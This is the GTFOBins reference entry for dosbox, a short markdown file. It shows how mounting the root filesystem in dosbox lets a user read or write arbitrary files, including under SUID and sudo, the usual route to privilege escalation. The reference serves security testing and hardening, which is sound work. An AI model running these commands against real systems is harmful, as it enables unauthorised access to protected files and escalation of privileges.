GTFOBins.github.io/_gtfobins/dosbox.md
2022-07-02 16:23:10 +02:00

30 lines
1.9 KiB
Markdown

---
description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
functions:
file-read:
- description: The file content will be displayed in the DOSBox graphical window.
code: |
LFILE='\path\to\file_to_read'
dosbox -c 'mount c /' -c "type c:$LFILE"
- description: The file is copied to a readable location.
code: |
LFILE='\path\to\file_to_read'
dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit
cat '/tmp/OUTPUT'
file-write:
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
code: |
LFILE='\path\to\file_to_write'
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
suid:
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
code: |
LFILE='\path\to\file_to_write'
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
sudo:
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
code: |
LFILE='\path\to\file_to_write'
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
---